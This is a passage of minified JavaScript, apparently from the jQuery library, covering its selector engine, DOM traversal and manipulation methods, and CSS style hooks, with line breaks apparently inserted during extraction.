  478. b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e<f;e++){c=a[e];if(c){var
  479. g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e<f;e++)c=a[e],c&&(a[e]=d?c.parentNode:c.parentNode===b);d&&m.filter(b,a,!0)}},"":function(a,b,c){var
  480. d,f=e++,g=x;typeof
  481. b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("parentNode",b,f,a,d,c)},"~":function(a,b,c){var
  482. d,f=e++,g=x;typeof
  483. b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("previousSibling",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof
  484. b.getElementById!="undefined"&&!c){var d=b.getElementById(a[1]);return
  485. d&&d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof
  486. b.getElementsByName!="undefined"){var
  487. c=[],d=b.getElementsByName(a[1]);for(var
  488. e=0,f=d.length;e<f;e++)d[e].getAttribute("name")===a[1]&&c.push(d[e]);return
  489. c.length===0?null:c}},TAG:function(a,b){if(typeof
  490. b.getElementsByTagName!="undefined")return
  491. b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a="
  492. "+a[1].replace(j,"")+" ";if(f)return a;for(var
  493. g=0,h;(h=b[g])!=null;g++)h&&(e^(h.className&&(" "+h.className+"
  494. ").replace(/[\t\n\r]/g,"
  495. ").indexOf(a)>=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return
  496. a[1].replace(j,"")},TAG:function(a,b){return
  497. a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var
  498. b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else
  499. a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var
  500. g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]="
  501. "+a[4]+" ");return
  502. a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var
  503. g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else
  504. if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return
  505. b},POS:function(a){a.unshift(!0);return
  506. a}},filters:{enabled:function(a){return
  507. a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return
  508. a.disabled===!0},checked:function(a){return
  509. a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return
  510. a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var
  511. b=a.getAttribute("type"),c=a.type;return
  512. a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return
  513. a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return
  514. a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return
  515. a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return
  516. a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var
  517. b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return
  518. a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var
  519. b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var
  520. b=a.nodeName.toLowerCase();return
  521. b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return
  522. a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return
  523. b===0},last:function(a,b,c,d){return
  524. b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return
  525. b%2===1},lt:function(a,b,c){return b<c[3]-0},gt:function(a,b,c){return
  526. b>c[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return
  527. c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var
  528. e=b[1],f=o.filters[e];if(f)return
  529. f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var
  530. g=b[3];for(var
  531. h=0,i=g.length;h<i;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var
  532. c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case"only":case"first":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k==="first")return!0;l=a;case"last":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case"nth":c=b[2],e=b[3];if(c===1&&e===0)return!0;f=b[0],g=a.parentNode;if(g&&(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1&&(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return
  533. c===0?j===0:j%c===0&&j/c>=0}},ID:function(a,b){return
  534. a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return
  535. b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return("
  536. "+(a.className||a.getAttribute("class"))+"
  537. ").indexOf(b)>-1},ATTR:function(a,b){var
  538. c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return
  539. d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?("
  540. "+e+"
  541. ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var
  542. e=b[2],f=o.setFilters[e];if(f)return
  543. f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r
  544. in o.match)o.match[r]=new
  545. RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new
  546. RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));o.match.globalPOS=p;var
  547. s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return
  548. b}return
  549. a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var
  550. c=0,d=b||[];if(g.call(a)==="[object
  551. Array]")Array.prototype.push.apply(d,a);else if(typeof
  552. a.length=="number")for(var e=a.length;c<e;c++)d.push(a[c]);else
  553. for(;a[c];c++)d.push(a[c]);return d}}var
  554. u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return
  555. 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return
  556. a.compareDocumentPosition?-1:1;return
  557. a.compareDocumentPosition(b)&4?-1:1}:(u=function(a,b){if(a===b){h=!0;return
  558. 0}if(a.sourceIndex&&b.sourceIndex)return a.sourceIndex-b.sourceIndex;var
  559. c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return
  560. v(a,b);if(!g)return-1;if(!i)return
  561. 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var
  562. k=0;k<c&&k<d;k++)if(e[k]!==f[k])return v(e[k],f[k]);return
  563. k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var
  564. d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return
  565. 1}),function(){var a=c.createElement("div"),d="script"+(new
  566. Date).getTime(),e=c.documentElement;a.innerHTML="<a
  567. name='"+d+"'/>",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(
  568. o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var
  569. e=c.getElementById(a[1]);return e?e.id===a[1]||typeof
  570. e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},
  571. o.filter.ID=function(a,b){var c=typeof
  572. a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return
  573. a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var
  574. a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var
  575. c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var
  576. e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="<a
  577. href='#'></a>",a.firstChild&&typeof
  578. a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return
  579. a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var
  580. a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="<p
  581. class='TEST'></p>";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var
  582. h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return
  583. s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return
  584. s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return
  585. s([e.body],f);if(h&&h[3]){var
  586. i=e.getElementById(h[3]);if(!i||!i.parentNode)return
  587. s([],f);if(i.id===h[3])return
  588. s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else
  589. if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var
  590. k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return
  591. s(e.querySelectorAll("[id='"+n+"']
  592. "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return
  593. a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var
  594. a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var
  595. d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var
  596. f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return
  597. f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var
  598. a=c.createElement("div");a.innerHTML="<div class='test e'></div><div
  599. class='test'></div>";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof
  600. b.getElementsByClassName!="undefined"&&!c)return
  601. b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return
  602. a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var
  603. b=(a?a.ownerDocument||a:0).documentElement;return
  604. b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var
  605. d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var
  606. h=0,i=g.length;h<i;h++)m(a,g[h],e,c);return
  607. m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[":"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var
  608. L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\[\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.globalPOS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var
  609. b=this,c,d;if(typeof a!="string")return
  610. f(a).filter(function(){for(c=0,d=b.length;c<d;c++)if(f.contains(b[c],this))return!0});var
  611. e=this.pushStack("","find",a),g,h,i;for(c=0,d=this.length;c<d;c++){g=e.length,f.find(a,this[c],e);if(c>0)for(h=g;h<e.length;h++)for(i=0;i<g;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return
  612. e},has:function(a){var b=f(a);return this.filter(function(){for(var
  613. a=0,c=b.length;a<c;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return
  614. this.pushStack(T(this,a,!1),"not",a)},filter:function(a){return
  615. this.pushStack(T(this,a,!0),"filter",a)},is:function(a){return!!a&&(typeof
  616. a=="string"?Q.test(a)?f(a,this.context).index(this[0])>=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var
  617. c=[],d,e,g=this[0];if(f.isArray(a)){var
  618. h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d<a.length;d++)f(g).is(a[d])&&c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return
  619. c}var i=Q.test(a)||typeof
  620. a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d<e;d++){g=this[d];while(g){if(i?i.index(g)>-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return
  621. this.pushStack(c,"closest",a)},index:function(a){if(!a)return
  622. this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof
  623. a=="string")return f.inArray(this[0],f(a));return
  624. f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof
  625. a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return
  626. this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return
  627. this.add(this.prevObject)}}),f.each({parent:function(a){var
  628. b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return
  629. f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return
  630. f.dir(a,"parentNode",c)},next:function(a){return
  631. f.nth(a,2,"nextSibling")},prev:function(a){return
  632. f.nth(a,2,"previousSibling")},nextAll:function(a){return
  633. f.dir(a,"nextSibling")},prevAll:function(a){return
  634. f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return
  635. f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return
  636. f.dir(a,"previousSibling",c)},siblings:function(a){return
  637. f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return
  638. f.sibling(a.firstChild)},contents:function(a){return
  639. f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var
  640. e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof
  641. d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return
  642. this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return
  643. b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var
  644. e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return
  645. e},nth:function(a,b,c,d){b=b||1;var
  646. e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return
  647. a},sibling:function(a,b){var
  648. c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return
  649. c}});var
  650. V="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/
  651. jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/<tbody/i,_=/<|&#?\w+;/,ba=/<(?:script|style)/i,bb=/<(?:script|object|embed|option|style)/i,bc=new
  652. RegExp("<(?:"+V+")[\\s/>]","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*<!(?:\[CDATA\[|\-\-)/,bg={option:[1,"<select
  653. multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,
  654. bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div<div>","</div>"]),f.fn.extend({text:function(a){return
  655. f.access(this,function(a){return
  656. a===b?f.text(this):this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return
  657. this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var
  658. b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var
  659. a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return
  660. a}).append(this)}return
  661. this},wrapInner:function(a){if(f.isFunction(a))return
  662. this.each(function(b){f(this).wrapInner(a.call(this,b))});return
  663. this.each(function(){var
  664. b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var
  665. b=f.isFunction(a);return
  666. this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return
  667. this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return
  668. this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return
  669. this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return
  670. this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var
  671. a=f
  672. .clean(arguments);a.push.apply(a,this.toArray());return
  673. this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return
  674. this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var
  675. a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return
  676. a}},remove:function(a,b){for(var
  677. c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return
  678. this},empty:function(){for(var
  679. a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return
  680. this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return
  681. this.map(function(){return f.clone(this,a,b)})},html:function(a){return
  682. f.access(this,function(a){var
  683. c=this[0]||{},d=0,e=this.length;if(a===b)return
  684. c.nodeType===1?c.innerHTML.replace(W,""):null;if(typeof
  685. a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1></$2>");try{for(;d<e;d++)c=this[d]||{},c.nodeType===1&&(f.cleanData(c.getElementsByTagName("*")),c.innerHTML=a);c=0}catch(g){}}c&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(f.isFunction(a))return
  686. this.each(function(b){var
  687. c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof
  688. a!="string"&&(a=f(a).detach());return this.each(function(){var
  689. b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return
  690. this.length?this.pushStack(f(f.isFunction(a)?a():a),"replaceWith",a):this},detach:function(a){return
  691. this.remove(a,!0)},domManip:function(a,c,d){var
  692. e,g,h,i,j=a[0],k=[];if(!f.support.checkClone&&arguments.length===3&&typeof
  693. j=="string"&&bd.test(j))return
  694. this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return
  695. this.each(function(e){var
  696. g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j&&j.parentNode,f.support.parentNode&&i&&i.nodeType===11&&i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c&&f.nodeName(g,"tr");for(var
  697. l=0,m=this.length,n=m-1;l<m;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m>1&&l<n?f.clone(h,!0,!0):h)}k.length&&f.each(k,function(a,b){b.src?f.ajax({type:"GET",global:!1,url:b.src,async:!1,dataType:"script"}):f.globalEval((b.text||b.textContent||b.innerHTML||"").replace(bf,"/*$0*/")),b.parentNode&&b.parentNode.removeChild(b)})}return
  698. this}}),f.buildFragment=function(a,b,d){var
  699. e,g,h,i,j=a[0];b&&b[0]&&(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1&&typeof
  700. j=="string"&&j.length<512&&i===c&&j.charAt(0)==="<"&&!bb.test(j)&&(f.support.checkClone||!bd.test(j))&&(f.support.html5Clone||!bc.test(j))&&(g=!0,h=f.fragments[j],h&&h!==1&&(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g&&(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){f.fn[a]=function(c){var
  701. d=[],e=f(c),g=this.length===1&&this[0].parentNode;if(g&&g.nodeType===11&&g.childNodes.length===1&&e.length===1){e[b](this[0]);return
  702. this}for(var h=0,i=e.length;h<i;h++){var
  703. j=(h>0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return
  704. this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var
  705. d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test("<"+a.nodeName+">")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return
  706. h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof
  707. b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);for(var
  708. k=0,l;(l=a[k])!=null;k++){typeof
  709. l=="number"&&(l+="");if(!l)continue;if(typeof
  710. l=="string")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,"<$1></$2>");var
  711. m=(Z.exec(l)||["",""])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement("div"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var
  712. s=$.test(l),t=m==="table"&&!s?p.firstChild&&p.firstChild.childNodes:n[1]==="<table>"&&!s?p.childNodes:[];for(i=t.length-1;i>=0;--i)f.nodeName(t[i],"tbody")&&!t[i].childNodes.length&&t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace&&X.test(l)&&p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p&&(p.parentNode.removeChild(p),q.length>0&&(r=q[q.length-1],r&&r.parentNode&&r.parentNode.removeChild(r)))}var
  713. u;if(!f.support.appendChecked)if(l[0]&&typeof
  714. (u=l.length)=="number")for(i=0;i<u;i++)bn(l[i]);else
  715. bn(l);l.nodeType?j.push(l):j=f.merge(j,l)}if(d){g=function(a){return!a.type||be.test(a.type)};for(k=0;j[k];k++){h=j[k];if(e&&f.nodeName(h,"script")&&(!h.type||be.test(h.type)))e.push(h.parentNode?h.parentNode.removeChild(h):h);else{if(h.nodeType===1){var
  716. v=f.grep(h.getElementsByTagName("script"),g);j.splice.apply(j,[k+1,0].concat(v))}d.appendChild(h)}}}return
  717. j},cleanData:function(a){var
  718. b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var
  719. h=0,i;(i=a[h])!=null;h++){if(i.nodeName&&f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b&&b.events){for(var
  720. j in
  721. b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle&&(b.handle.elem=null)}g?delete
  722. i[f.expando]:i.removeAttribute&&i.removeAttribute(f.expando),delete
  723. d[c]}}}});var
  724. bp=/alpha\([^)]*\)/i,bq=/opacity=([^)]*)/,br=/([A-Z]|^ms)/g,bs=/^[\-+]?(?:\d*\.)?\d+$/i,bt=/^-?(?:\d*\.)?\d+(?!px)[^\d\s]+$/i,bu=/^([\-+])=([\-+.\de]+)/,bv=/^margin/,bw={position:"absolute",visibility:"hidden",display:"block"},bx=["Top","Right","Bottom","Left"],by,bz,bA;f.fn.css=function(a,c){return
  725. f.access(this,function(a,c,d){return
  726. d!==b?f.style(a,c,d):f.css(a,c)},a,c,arguments.length>1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var
  727. c=by(a,"opacity");return c===""?"1":c}return
  728. a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var
  729. g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in
  730. k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof
  731. d,h==="string"&&(g=bu.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in
  732. k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var
  733. e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in
  734. g&&(e=g.get(a,!0,d))!==b)return e;if(by)return
  735. by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in
  736. b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in
  737. b)a.style[f]=d[f];return
  738. e}}),f.curCSS=f.css,c.defaultView&&c.defaultView.getComputedStyle&&(bz=function(a,b){var
  739. c,d,e,g,h=a.style;b=b.replace(br,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b))),!f.support.pixelMargin&&e&&bv.test(b)&&bt.test(c)&&(g=h.width,h.width=c,c=e.width,h.width=g);return
  740. c}),c.documentElement.currentStyle&&(bA=function(a,b){var
  741. c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f==null&&g&&(e=g[b])&&(f=e),bt.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return
  742. f===""?"auto":f}),by=bz||bA,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return
  743. a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return
  744. bB(a,b,d)})},set:function(a,b){return
  745. bs.test(b)?b+"px":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return
  746. bq.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var
  747. c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bp,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+"
  748. "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return
  749. f.swap(a,{display:"inline-block"},function(){return
